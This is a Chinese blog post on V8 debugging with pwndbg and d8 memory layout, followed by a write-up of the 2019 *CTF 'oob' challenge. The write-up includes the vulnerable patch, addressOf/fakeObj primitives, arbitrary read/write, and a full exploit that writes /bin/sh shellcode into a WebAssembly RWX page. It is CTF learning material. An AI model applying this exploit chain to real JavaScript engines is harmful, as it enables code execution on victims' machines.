岁云暮岁云暮

v8 study

岁云暮·2023-01-28 16:20·52 次阅读

v8 study

v8环境搭建看这里
现在的v8采用的是Ignition(JIT生成) + TurboFan(优化)

v8调试#

安装pwngdb

Copy
git clone https://github.com/pwndbg/pwndbg cd pwndbg ./setup.sh

将v8/tools/目录下的gdbinit和gdb-v8-support.py添加到~/.gdbinit

Copy
source /path/to/v8/tools/gdbinit source /path/to/v8/tools/gdb-v8-support.py

之后就可以使用%DebugPrint(x)来输出调试信息,使用%SystemBreak()来对程序下断点。
但是js本身是没有%这种语法的,执行时要加上--allow-natives-syntax
写个脚本测试下

Copy
$ cat ./example/test.js arr = [1, 2, 3] %DebugPrint(a); %SystemBreak(); $ ./d8 --allow-natives-syntax ./example/test.js DebugPrint: 0x7900010bdfd: [JSArray] - map: 0x07900024e0b5 <Map[16](PACKED_SMI_ELEMENTS)> [FastProperties] - prototype: 0x07900024e2f9 <JSArray[0]> - elements: 0x07900025a7bd <FixedArray[3]> [PACKED_SMI_ELEMENTS (COW)] - length: 3 - properties: 0x0790000022a9 <FixedArray[0]> - All own properties (excluding elements): { 0x79000006e61: [String] in ReadOnlySpace: #length: 0x079000204285 <AccessorInfo name= 0x079000006e61 <String[6]: #length>, data= 0x0790000022e1 <undefined>> (const accessor descriptor), location: descriptor } - elements: 0x07900025a7bd <FixedArray[3]> { 0: 1 1: 2 2: 3 } 0x7900024e0b5: [Map] in OldSpace - type: JS_ARRAY_TYPE - instance size: 16 - inobject properties: 0 - elements kind: PACKED_SMI_ELEMENTS - unused property fields: 0 - enum length: invalid - back pointer: 0x0790000022e1 <undefined> - prototype_validity cell: 0x079000003875 <Cell value= 1> - instance descriptors #1: 0x07900024e865 <DescriptorArray[1]> - transitions #1: 0x07900024e881 <TransitionArray[4]>Transition array #1: 0x079000007d55 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_SMI_ELEMENTS) -> 0x07900024e899 <Map[16](HOLEY_SMI_ELEMENTS)> - prototype: 0x07900024e2f9 <JSArray[0]> - constructor: 0x07900024e021 <JSFunction Array (sfi = 0x7900021d455)> - dependent code: 0x0790000022b9 <Other heap object (WEAK_ARRAY_LIST_TYPE)> - construction counter: 0

可以看出打印出了数组大小,内容以及数据类型等相关信息,数组成员被存储为了SMI(small integer)类型

使用GDB调试#

Copy
$ gdb d8 pwndbg> r --allow-natives-syntax ./example/test.js [New Thread 0x7f7491b4a700 (LWP 2571)] DebugPrint: 0x1e840010be29: [JSArray] - map: 0x1e840024e0b5 <Map[16](PACKED_SMI_ELEMENTS)> [FastProperties] - prototype: 0x1e840024e2f9 <JSArray[0]> - elements: 0x1e840025a7bd <FixedArray[3]> [PACKED_SMI_ELEMENTS (COW)] - length: 3 - properties: 0x1e84000022a9 <FixedArray[0]> - All own properties (excluding elements): { 0x1e8400006e61: [String] in ReadOnlySpace: #length: 0x1e8400204285 <AccessorInfo name= 0x1e8400006e61 <String[6]: #length>, data= 0x1e84000022e1 <undefined>> (const accessor descriptor), location: descriptor } - elements: 0x1e840025a7bd <FixedArray[3]> { 0: 1 1: 2 2: 3 } 0x1e840024e0b5: [Map] in OldSpace - type: JS_ARRAY_TYPE - instance size: 16 - inobject properties: 0 - elements kind: PACKED_SMI_ELEMENTS - unused property fields: 0 - enum length: invalid - back pointer: 0x1e84000022e1 <undefined> - prototype_validity cell: 0x1e8400003875 <Cell value= 1> - instance descriptors #1: 0x1e840024e865 <DescriptorArray[1]> - transitions #1: 0x1e840024e881 <TransitionArray[4]>Transition array #1: 0x1e8400007d55 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_SMI_ELEMENTS) -> 0x1e840024e899 <Map[16](HOLEY_SMI_ELEMENTS)> - prototype: 0x1e840024e2f9 <JSArray[0]> - constructor: 0x1e840024e021 <JSFunction Array (sfi = 0x1e840021d455)> - dependent code: 0x1e84000022b9 <Other heap object (WEAK_ARRAY_LIST_TYPE)> - construction counter: 0 pwndbg> job 0x1e840010be29 0x1e840010be29: [JSArray] - map: 0x1e840024e0b5 <Map[16](PACKED_SMI_ELEMENTS)> [FastProperties] - prototype: 0x1e840024e2f9 <JSArray[0]> - elements: 0x1e840025a7bd <FixedArray[3]> [PACKED_SMI_ELEMENTS (COW)] - length: 3 - properties: 0x1e84000022a9 <FixedArray[0]> - All own properties (excluding elements): { 0x1e8400006e61: [String] in ReadOnlySpace: #length: 0x1e8400204285 <AccessorInfo name= 0x1e8400006e61 <String[6]: #length>, data= 0x1e84000022e1 <undefined>> (const accessor descriptor), location: descriptor } - elements: 0x1e840025a7bd <FixedArray[3]> { 0: 1 1: 2 2: 3 } pwndbg> job 0x1e840025a7bd 0x1e840025a7bd: [FixedArray] in OldSpace - map: 0x1e84000021e1 <Map(FIXED_ARRAY_TYPE)> - length: 3 0: 1 1: 2 2: 3 pwndbg> x/8gx 0x1e840010be29-1 0x1e840010be28: 0x000022a90024e0b5 0x000000060025a7bd 0x1e840010be38: 0xbeadbeefbeadbeef 0xbeadbeefbeadbeef 0x1e840010be48: 0xbeadbeefbeadbeef 0xbeadbeefbeadbeef 0x1e840010be58: 0xbeadbeefbeadbeef 0xbeadbeefbeadbeef pwndbg> x/8gx 0x1e840025a7bd-1 0x1e840025a7bc: 0x00000006000021e1 0x0000000400000002 0x1e840025a7cc: 0x000024d100000006 0x0025a7bd00000000 0x1e840025a7dc: 0x0000000400002169 0x0025a7290025a7d1 0x1e840025a7ec: 0x0000002e0000320d 0x00003f790025a7dd

job命令可以查看js object的内存分布。但是job命令的地址是真实地址+1
在v8中地址进行了压缩,只保存低32bit,高位地址都一样
可以看出在0x1e840010be29-1就是存储的arr这个数组的信息,依次分别是map|properties|elements|length

Copy
- map: 0x1e840024e0b5 - elements: 0x1e840025a7bd - length: 3 - properties: 0x1e84000022a9 0x1e840010be28: 0x000022a9|0024e0b5 0x00000006|0025a7bd

这里的length乘了2,后面存储的数组元素也乘了2,应该是v8的特性吧
在elements-1即0x1e840025a7bc出可以看出存储的分别是map|length|arr

Copy
- map: 0x1e84000021e1 <Map(FIXED_ARRAY_TYPE)> - length: 3 0: 1 1: 2 2: 3 0x1e840025a7bc: 0x00000006|000021e1 0x00000004|00000002 0x1e840025a7cc: 0x000024d1|00000006

上边有两个length,第一个是申请的长度,第二个是已使用的长度
存储double类型时按64bit的长度存储,存储的是真实值不会像integer一样乘2

star ctf oob#

环境搭建

Copy
$ git reset --hard 6dc88c191f5ecc5389dc26efa3ca0907faef3598 $ git apply ../starctf/oob.diff $ gclient sync -D $ ./tools/dev/v8gen.py x64.release $ ninja -C ./out.gn/x64.release

最后的测试poc要编译release版本,debug版本会有assert错误爆出。
先看一下这个版本的v8对象内存分布

Copy
$ cat ../../../v8_diff/star_ctf_oob/test.js var a = [1.1, 2.2, 3.3]; %DebugPrint(a); %SystemBreak(); $ ./d8 --allow-natives-syntax ../../../v8_diff/star_ctf_oob/test.js DebugPrint: 0x4366814ddd9: [JSArray] - map: 0x20060f5c2ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties] - prototype: 0x0c1ef0b11111 <JSArray[0]> - elements: 0x04366814ddb1 <FixedDoubleArray[3]> [PACKED_DOUBLE_ELEMENTS] - length: 3 - properties: 0x2cbc7c180c71 <FixedArray[0]> { #length: 0x07cfb95801a9 <AccessorInfo> (const accessor descriptor) } - elements: 0x04366814ddb1 <FixedDoubleArray[3]> { 0: 1.1 1: 2.2 2: 3.3 } 0x20060f5c2ed9: [Map] - type: JS_ARRAY_TYPE - instance size: 32 - inobject properties: 0 - elements kind: PACKED_DOUBLE_ELEMENTS - unused property fields: 0 - enum length: invalid - back pointer: 0x20060f5c2e89 <Map(HOLEY_SMI_ELEMENTS)> - prototype_validity cell: 0x07cfb9580609 <Cell value= 1> - instance descriptors #1: 0x0c1ef0b11f49 <DescriptorArray[1]> - layout descriptor: (nil) - transitions #1: 0x0c1ef0b11eb9 <TransitionArray[4]>Transition array #1: 0x2cbc7c184ba1 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x20060f5c2f29 <Map(HOLEY_DOUBLE_ELEMENTS)> - prototype: 0x0c1ef0b11111 <JSArray[0]> - constructor: 0x0c1ef0b10ec1 <JSFunction Array (sfi = 0x7cfb958aca1)> - dependent code: 0x2cbc7c1802c1 <Other heap object (WEAK_FIXED_ARRAY_TYPE)> - construction counter: 0 pwndbg> x/8gx 0x04366814ddb1-1 0x4366814ddb0: 0x00002cbc7c1814f9 0x0000000300000000 0x4366814ddc0: 0x3ff199999999999a 0x400199999999999a 0x4366814ddd0: 0x400a666666666666 0x000020060f5c2ed9 0x4366814dde0: 0x00002cbc7c180c71 0x000004366814ddb1 pwndbg> x/8gx 0x4366814ddd9-1 0x4366814ddd8: 0x000020060f5c2ed9 0x00002cbc7c180c71 0x4366814dde8: 0x000004366814ddb1 0x0000000300000000 0x4366814ddf8: 0xdeadbeedbeadbeef 0xdeadbeedbeadbeef 0x4366814de08: 0xdeadbeedbeadbeef 0xdeadbeedbeadbeef

可以看出a的元素后面紧跟着a的map addr
看下题目给的diff文件,发现主要是给array增加了一个oob方法,当参数个数为1时可以越界读一个内存单位,参数个数为2是可以越界写。而c++必有一个参数this,所以其实就是无参越界读,有参越界写

Copy
+BUILTIN(ArrayOob){ + uint32_t len = args.length(); + if(len > 2) return ReadOnlyRoots(isolate).undefined_value(); + Handle<JSReceiver> receiver; + ASSIGN_RETURN_FAILURE_ON_EXCEPTION( + isolate, receiver, Object::ToObject(isolate, args.receiver())); + Handle<JSArray> array = Handle<JSArray>::cast(receiver); + FixedDoubleArray elements = FixedDoubleArray::cast(array->elements()); + uint32_t length = static_cast<uint32_t>(array->length()->Number()); + if(len == 1){ + //read + return *(isolate->factory()->NewNumber(elements.get_scalar(length))); + }else{ + //write + Handle<Object> value; + ASSIGN_RETURN_FAILURE_ON_EXCEPTION( + isolate, value, Object::ToNumber(isolate, args.at<Object>(1))); + elements.set(length,value->Number()); + return ReadOnlyRoots(isolate).undefined_value(); + } +}

所以我们通过这个越界写将一个对象的map修改为数组的map这样就可以实现任意读,这个过程可以封装成addressOf

Copy
var double_array = [1.1]; var obj = {"a" : 1}; var obj_array = [obj]; var array_map = double_array.oob(); var obj_map = obj_array.oob(); function addressOf(obj_to_leak) { obj_array[0] = obj_to_leak; obj_array.oob(array_map); // 把obj数组的map地址改为浮点型数组的map地址 let obj_addr = ftoi(obj_array[0]) - 1n; obj_array.oob(obj_map); // 把obj数组的map地址改回来,以便后续使用 return obj_addr; }

将一个数组的map修改为对象的map可以伪造出一个对象,封装为fakeObj.

Copy
function fakeObj(addr_to_fake) { double_array[0] = itof(addr_to_fake + 1n); double_array.oob(obj_map); // 把浮点型数组的map地址改为对象数组的map地址 let faked_obj = double_array[0]; double_array.oob(array_map); // 改回来,以便后续需要的时候使用 return faked_obj; }

任意读
一个arr的堆分布应该是map|length|arr value|map|properties|elements|length,其中elements指向第一个map的地址
我们首先构造一个fake_array,其第一个元素是array_map对应上边的第二个map,那elements就是fake_array[2],将fake_array[2]修改为要读取的地址 - len(map + length) + 1就可以读出改地址的数据。
任意写同理。

Copy
var fake_array = [ array_map, itof(0n), itof(0x41414141n), itof(0x100000000n), ]; function read(addr) { fake_array[2] = itof(addr - 0x10n + 0x1n); return fake_object[0]; } function write64(addr, data) { fake_array[2] = itof(addr - 0x10n + 0x1n); fake_object[0] = itof(data); }

任意读写实现了那么怎么执行命令呢,可以通过执行wasm的shellcode来进行提权等操作,wasm是js中一种类似汇编的存在,所在的段具有rwx权限。
获取rwx_addr

Copy
var wasm_instance_addr = addressOf(wasmInstance); console.log("[*] leak wasm_instance addr: 0x" + hex(wasm_instance_addr)); var rwx_page_addr = read64(wasm_instance_addr + 0x88n); console.log("[*] leak rwx_page_addr: 0x" + hex(ftoi(rwx_page_addr))); function copy_shellcode_to_rwx(shellcode, rwx_addr) { var data_buf = new ArrayBuffer(shellcode.length * 8); var data_view = new DataView(data_buf); var buf_backing_store_addr = addressOf(data_buf) + 0x20n; console.log("buf_backing_store_addr: 0x"+hex(buf_backing_store_addr)); write64(buf_backing_store_addr, ftoi(rwx_addr)); for (let i = 0; i < shellcode.length; ++i) data_view.setFloat64(i * 8, itof(shellcode[i]), true); }

最后的exp

Copy
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]); var wasmModule = new WebAssembly.Module(wasmCode); var wasmInstance = new WebAssembly.Instance(wasmModule, {}); var f = wasmInstance.exports.main; var f64 = new Float64Array(1); var bigUint64 = new BigUint64Array(f64.buffer); function ftoi(f) { f64[0] = f; return bigUint64[0]; } function itof(i) { bigUint64[0] = i; return f64[0]; } function hex(i) { return i.toString(16).padStart(8, "0"); } function fakeObj(addr_to_fake) { double_array[0] = itof(addr_to_fake + 1n); double_array.oob(obj_map); // 把浮点型数组的map地址改为对象数组的map地址 let faked_obj = double_array[0]; double_array.oob(array_map); // 改回来,以便后续需要的时候使用 return faked_obj; } function addressOf(obj_to_leak) { obj_array[0] = obj_to_leak; obj_array.oob(array_map); // 把obj数组的map地址改为浮点型数组的map地址 let obj_addr = ftoi(obj_array[0]) - 1n; obj_array.oob(obj_map); // 把obj数组的map地址改回来,以便后续使用 return obj_addr; } function read64(addr) { fake_array[2] = itof(addr - 0x10n + 0x1n); return fake_object[0]; } function write64(addr, data) { fake_array[2] = itof(addr - 0x10n + 0x1n); fake_object[0] = itof(data); } function copy_shellcode_to_rwx(shellcode, rwx_addr) { var data_buf = new ArrayBuffer(shellcode.length * 8); var data_view = new DataView(data_buf); var buf_backing_store_addr = addressOf(data_buf) + 0x20n; console.log("[*] buf_backing_store_addr: 0x"+hex(buf_backing_store_addr)); write64(buf_backing_store_addr, ftoi(rwx_addr)); for (let i = 0; i < shellcode.length; ++i) data_view.setFloat64(i * 8, itof(shellcode[i]), true); } var double_array = [1.1]; var obj = {"a" : 1}; var obj_array = [obj]; var array_map = double_array.oob(); var obj_map = obj_array.oob(); var fake_array = [ array_map, itof(0n), itof(0x41414141n), itof(0x100000000n), ]; fake_array_addr = addressOf(fake_array); console.log("[*] leak fake_array addr: 0x" + hex(fake_array_addr)); fake_object_addr = fake_array_addr + 0x30n; var fake_object = fakeObj(fake_object_addr); var wasm_instance_addr = addressOf(wasmInstance); console.log("[*] leak wasm_instance addr: 0x" + hex(wasm_instance_addr)); var rwx_page_addr = read64(wasm_instance_addr + 0x88n); console.log("[*] leak rwx_page_addr: 0x" + hex(ftoi(rwx_page_addr))); var shellcode = [ 0x2fbb485299583b6an, 0x5368732f6e69622fn, 0x050f5e5457525f54n ]; copy_shellcode_to_rwx(shellcode, rwx_page_addr); f();

参考#

从0开始学V8漏洞利用之starctf 2019 OOB(三)
v8利用初探 2019 StarCTF oob 复现分析

posted @   岁云暮  阅读(52)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· .NET Core 中如何实现缓存的预热?
· 三行代码完成国际化适配,妙~啊~
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?
点击右上角即可分享
微信分享提示
目录